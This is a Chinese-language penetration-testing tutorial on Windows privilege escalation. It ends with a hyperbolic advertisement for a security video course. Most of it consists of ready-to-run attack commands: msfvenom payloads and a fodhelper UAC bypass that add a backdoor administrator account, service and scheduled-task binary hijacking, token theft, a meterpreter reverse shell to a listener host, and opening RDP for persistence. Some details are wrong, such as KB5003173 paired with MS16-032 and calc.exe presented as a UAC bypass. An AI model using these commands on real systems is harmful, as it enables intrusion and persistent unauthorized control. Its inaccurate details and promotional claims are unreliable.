一、权限提升概述
在渗透测试中,初始获得的权限通常为低权限的普通用户(如IIS用户、Web服务账户),无法读取敏感文件、修改系统配置或持久化驻留。权限提升(Privilege Escalation)就是从低权限用户提升到高权限用户(如Administrator、SYSTEM)的过程。
Windows权限等级
| 权限等级 | 说明 | 权限范围 |
|---|---|---|
| User | 普通用户 | 仅能操作自己权限范围内的文件 |
| Administrator | 管理员 | 可管理大部分系统资源,受UAC限制 |
| SYSTEM | 系统权限 | 最高权限,相当于内核级别 |
| TrustedInstaller | 可信安装程序 | 比SYSTEM更高,可删除系统文件 |
二、信息收集
提权的第一步是全面收集系统信息,寻找可利用的突破口。
1. 系统基本信息
:: 操作系统版本 systeminfo :: 查看补丁列表 systeminfo | findstr KB :: 查看系统架构 echo %PROCESSOR_ARCHITECTURE% :: 查看主机名和当前用户 hostname whoami whoami /all :: 查看所有用户 net user net localgroup administrators2. 查看已安装补丁
:: 使用wmic查看补丁 wmic qfe list brief :: 使用PowerShell查看补丁 Get-HotFix | Select-Object HotFixID, Description, InstalledOn :: 查看特定补丁 wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr KB25927993. 查看服务与进程
:: 查看所有服务 sc query sc query state= all :: 查看服务可执行文件路径 wmic service get name,displayname,pathname,startmode | findstr "Auto" :: 查看运行中的进程 tasklist /v tasklist /svc :: 查看进程权限 tasklist /v /fi "PID eq 1234" :: 查看进程详细信息(PowerShell) Get-Process | Select-Object Name, Id, Path, MainWindowTitle Get-WmiObject Win32_Process | Select-Object Name, ProcessId, CommandLine4. 查看网络信息
:: 查看网络连接 netstat -ano :: 查看路由表 route print :: 查看ARP缓存 arp -a :: 查看防火墙规则 netsh advfirewall firewall show rule name=all5. 查看计划任务
:: 查看计划任务 schtasks /query /fo TABLE /v :: 查看特定计划任务 schtasks /query /tn "TaskName" /fo LIST /v :: PowerShell查看计划任务 Get-ScheduledTask | Where-Object {$_.State -eq 'Ready'}三、内核漏洞提权
利用Windows内核漏洞进行提权是最直接的方式,但需要目标系统未安装对应补丁。
1. 常见提权漏洞
| CVE编号 | 漏洞名称 | 影响版本 | 工具 |
|---|---|---|---|
| MS16-032 | Secondary Logon Handle | Win7/8/10/2008/2012 | MS16-032.exe |
| MS16-135 | Local Privilege Escalation | Win10/2016 | MS16-135.exe |
| MS15-051 | Windows Kernel Mode Driver | Win2003/2008/2012/7/8 | MS15-051.exe |
| MS14-068 | Kerberos Privilege Escalation | 2003/2008/2012/7/8 | MS14-068.exe |
| MS11-080 | Ancillary Function Driver | 2003/XP/2008/7 | MS11-080.exe |
| CVE-2021-1675 | Print Spooler (PrintNightmare) | Win10/Server2019 | Mimikatz |
2. 漏洞利用流程
:: 1. 查看补丁情况,确认漏洞未修复 wmic qfe list brief | findstr KB5003173 :: 2. 上传提权EXP :: 例如 MS16-032 提权工具 upload MS16-032.exe C:\Windows\Temp\ :: 3. 执行提权 MS16-032.exe "cmd.exe" :: 4. 验证权限 whoami :: 输出:nt authority\system3. Watson自动化检测
# 安装WatsonImport-Module.\Watson.psm1# 自动检测缺失补丁和可利用漏洞Find-AllVulns# 查看建议的提权路径Find-ExploitableVulns四、服务配置不当提权
1. 可执行文件路径未引用(Unquoted Service Path)
当服务可执行文件路径包含空格且未加引号时,Windows会按路径逐级尝试执行。
:: 查看服务路径 sc qc "VulnerableService" :: 显示路径:C:\Program Files\Vulnerable Service\service.exe(无引号) :: Windows执行顺序: :: 1. C:\Program.exe ← 如果存在则执行 :: 2. C:\Program Files\Vulnerable.exe ← 如果存在则执行 :: 3. C:\Program Files\Vulnerable Service\service.exe利用方法:在可写目录放置对应名称的恶意exe文件。
:: 检查目录写权限 icacls "C:\Program Files" :: 如果显示 BUILTIN\Users:(W) 表示可写 :: 生成恶意exe msfvenom -p windows/exec CMD="net user hacker P@ss123 /add && net localgroup administrators hacker /add" -f exe -o Program.exe :: 上传到对应目录 upload Program.exe "C:\Program Files\" :: 重启服务 sc stop "VulnerableService" sc start "VulnerableService"2. 服务路径未引用检测工具
:: 使用PowerShell批量检测 powershell -Command "Get-WmiObject Win32_Service | Where-Object {$_.PathName -notlike '\"*' -and $_.PathName -like '* *'} | Select-Object Name, PathName" :: 使用accesschk检测写权限 accesschk.exe -uwcqv "Users" C:\Program Files\ accesschk.exe -uwcqv "Authenticated Users" C:\Program Files\3. 弱服务权限(Weak Service Permissions)
当普通用户可以修改服务配置时,可修改服务路径指向恶意程序。
:: 检查服务权限 accesschk.exe -uwcqv "Authenticated Users" * :: 输出示例: :: RW VulnerableService :: SERVICE_ALL_ACCESS :: 修改服务路径为恶意程序 sc config "VulnerableService" binPath= "C:\Windows\Temp\shell.exe" sc config "VulnerableService" obj= ".\LocalSystem" password= "" :: 重启服务触发 sc stop "VulnerableService" sc start "VulnerableService"4. 服务DLL劫持
:: 查看服务加载的DLL procmon.exe // 过滤服务进程,查看DLL加载 :: 在可写目录放置恶意DLL copy evil.dll "C:\Program Files\Vulnerable Service\" :: 重启服务加载恶意DLL sc stop "VulnerableService" sc start "VulnerableService"五、注册表提权
1. AlwaysInstallElevated
当注册表AlwaysInstallElevated值为1时,任何用户安装的MSI包都以SYSTEM权限运行。
:: 检查是否启用 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated :: 如果值为1,生成恶意MSI msfvenom -p windows/exec CMD="net user hacker P@ss123 /add" -f msi -o evil.msi :: 安装MSI(以高权限运行) msiexec /quiet /qn /i C:\Windows\Temp\evil.msi2. 注册表自启动项
:: 查看自启动项 reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" :: 检查自启动项路径是否可写 icacls "C:\Program Files\AutoStart\autostart.exe" :: 如果可写,替换为恶意程序 copy /y shell.exe "C:\Program Files\AutoStart\autostart.exe" :: 等待系统重启或用户登录3. Autoruns全面检查
# 使用Autoruns检查所有自启动项# 工具下载:https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns# 可视化界面检查所有自启动位置# 或使用PowerShell模块autorunsc.exe-a*-c-v六、计划任务提权
1. 可写计划任务路径
:: 查看所有计划任务的执行路径 schtasks /query /fo LIST /v | findstr "TaskName\|Task To Run" :: 找到以SYSTEM权限运行的任务 schtasks /query /tn "\TaskName" /fo LIST /v | findstr "Run As User" :: 如果显示 SYSTEM :: 检查任务执行文件是否可写 icacls "C:\Tasks\backup.exe" :: 如果 BUILTIN\Users:(W) :: 替换为恶意程序 copy /y shell.exe "C:\Tasks\backup.exe" :: 手动触发任务 schtasks /run /tn "\TaskName"2. 计划任务检测工具
# PowerUp模块检测计划任务Import-Module.\PowerUp.ps1Invoke-AllChecks# 查看所有可利用的计划任务Get-ModifiableScheduledTask七、令牌窃取提权
1. Meterpreter令牌窃取
# Metasploit获取Shell后meterpreter>getuid# Current user: WEB\iis_user# 查看可用令牌meterpreter>use incognito meterpreter>list_tokens-u# 输出示例:# Delegation Tokens Available:# ========================================# NT AUTHORITY\SYSTEM# NT AUTHORITY\LOCAL SERVICE# NT AUTHORITY\NETWORK SERVICE# 窃取SYSTEM令牌meterpreter>impersonate_token NT\AUTHORITY\SYSTEM# 或meterpreter>steal_token1234# 验证权限meterpreter>getuid# Server username: NT AUTHORITY\SYSTEM2. Incognito工具
# 使用incognito2.0 incognito.exe list_tokens -u incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe八、UAC绕过
UAC(User Account Control)是Vista以后引入的安全机制,限制管理员权限的使用。以下介绍常见的绕过方法。
1. 白名单程序利用
某些系统程序默认以高权限运行,可利用它们执行任意命令。
:: 计算器绕过UAC cmd /c start calc.exe :: fodhelper.exe绕过(Win10) :: 1. 修改注册表 reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d "cmd /c net user hacker P@ss123 /add" /f :: 2. 执行fodhelper fodhelper.exe :: 3. 清理注册表 reg delete HKCU\Software\Classes\ms-settings\Shell\Open\command /f2. DLL劫持绕过
:: 利用Windows系统自带程序的DLL加载顺序 :: 例如 wmplayer.exe 加载 mfplat.dll :: 1. 生成恶意DLL msfvenom -p windows/exec CMD="net user hacker P@ss123 /add" -f dll -o mfplat.dll :: 2. 放置在wmplayer.exe同目录 copy mfplat.dll "C:\Program Files\Windows Media Player\" :: 3. 执行wmplayer wmplayer.exe3. UACME工具
# UACME集成了60+种UAC绕过方法# 下载:https://github.com/hfiref0x/UACME# 使用方法Akagi64.exe23# 使用第23种绕过方法Akagi64.exe33cmd.exe# 指定绕过方法执行cmd九、PowerUp自动化提权
PowerUp是PowerSploit框架中的权限提升模块,集成了全面的提权检测功能。
# 导入模块Import-Module.\PowerUp.ps1# 执行所有检测Invoke-AllChecks# 单项检测Get-ModifiableServiceGet-ModifiableScheduledTaskGet-RegistryAutoLogonGet-ModifiableRegistryAutoRunGet-UnattendedInstallFileFind-AllVulns# 利用服务漏洞Write-ServiceBinary-ServiceName'VulnerableService'-UserName'hacker'Install-ServiceBinary-ServiceName'VulnerableService'-Command"net user hacker P@ss123 /add"# 恢复服务Restore-ServiceBinary-ServiceName'VulnerableService'十、提权实战案例
案例一:Web Shell到SYSTEM
# 1. 通过WebShell获得初始权限whoami# iis_apppool_user# 2. 信息收集systeminfo# Windows Server 2012 R2, 补丁数量少# 3. 检测缺失补丁# 使用Watson检测# 发现未安装 KB5003173 (MS16-032)# 4. 上传MS16-032提权工具# 通过WebShell上传# 5. 执行提权MS16-032.exe"cmd.exe"# 6. 验证权限whoami# nt authority\system# 7. 创建管理员用户net user hacker P@ss123 /add net localgroup administrators hacker /add# 8. 开启3389端口regadd"HKLM\System\CurrentControlSet\Control\Terminal Server"/v fDenyTSConnections /t REG_DWORD /d0/f netsh advfirewall firewalladdrulename="Remote Desktop"dir=inprotocol=TCPlocalport=3389action=allow案例二:服务权限不当提权
# 1. 通过WebShell获取普通权限whoami# authority\network service# 2. 检测可利用服务accesschk.exe-uwcqv"Authenticated Users"*# 发现可修改的服务:BackupService# 3. 查看服务当前路径sc qc BackupService# BINARY_PATH_NAME: C:\Program Files\Backup Service\backup.exe# 4. 生成反弹Shellmsfvenom-pwindows/meterpreter/reverse_tcpLHOST=192.168.1.100LPORT=4444-fexe-obackup.exe# 5. 替换服务程序copy /y backup.exe"C:\Program Files\Backup Service\backup.exe"# 6. 修改服务以SYSTEM运行sc config BackupServiceobj=".\LocalSystem"# 7. 重启服务sc stop BackupService sc start BackupService# 8. Metasploit接收到SYSTEM Shellmeterpreter>getuid# NT AUTHORITY\SYSTEM十一、提权工具汇总
| 工具名称 | 功能 | 适用场景 |
|---|---|---|
| PowerUp | 综合提权检测 | 自动化检测所有提权路径 |
| Watson | 补丁检测 | 检测缺失补丁和可用EXP |
| WinPEAS | 综合信息收集 | Windows提权信息收集 |
| Seatbelt | C#信息收集 | 快速收集系统安全相关信息 |
| AccessChk | 权限检测 | 检查文件/服务/注册表权限 |
| Incognito | 令牌窃取 | 窃取和模拟用户令牌 |
| UACME | UAC绕过 | 60+种UAC绕过方法 |
| FGDump | 密码抓取 | 获取本地密码哈希 |
总结
Windows权限提升是渗透测试后渗透阶段的核心技能。本文从信息收集、内核漏洞、服务配置不当、注册表、计划任务、令牌窃取、UAC绕过等维度系统讲解了主流提权技术,建议结合实战靶场进行练习。
学习资源
2026年最新版本,全网最全的网安视频教程。耗时半年打造,之前都是内部资源,专业方面绝对可以秒杀国内99%的机构和个人教学!全网独一份,你不可能在网上找到这么专业的教程。
内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。
总共200多节视频,200多G的资源,不用担心学不全。(包含攻击与防守、漏洞挖掘、CTF比赛等技术点)
1、知识库价值
深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。
广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。
实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。
2、 部分核心内容展示
独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。
内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。
1、网络安全意识
2、Linux操作系统
3、WEB架构基础与HTTP协议
4、Web渗透测试
5、渗透测试案例分享
6、渗透测试实战技巧
7、攻防对战实战
8、CTF之MISC实战讲解
3、适合学习的人群
一、基础适配人群
零基础转型者:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链;
开发/运维人员:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展或者转行就业;
应届毕业生:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期;
二、能力提升适配
1、技术爱好者:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者;
2、安全从业者:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力;
3、合规需求者:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员;
因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传,戳下面拿:
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源